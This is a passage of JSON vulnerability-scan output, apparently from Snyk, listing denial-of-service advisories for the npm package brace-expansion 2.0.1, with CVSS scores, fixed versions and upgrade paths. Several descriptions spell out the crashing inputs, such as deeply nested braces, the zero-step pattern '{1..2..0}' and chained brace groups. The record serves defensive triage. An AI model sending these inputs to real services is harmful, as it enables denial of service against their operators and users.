Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
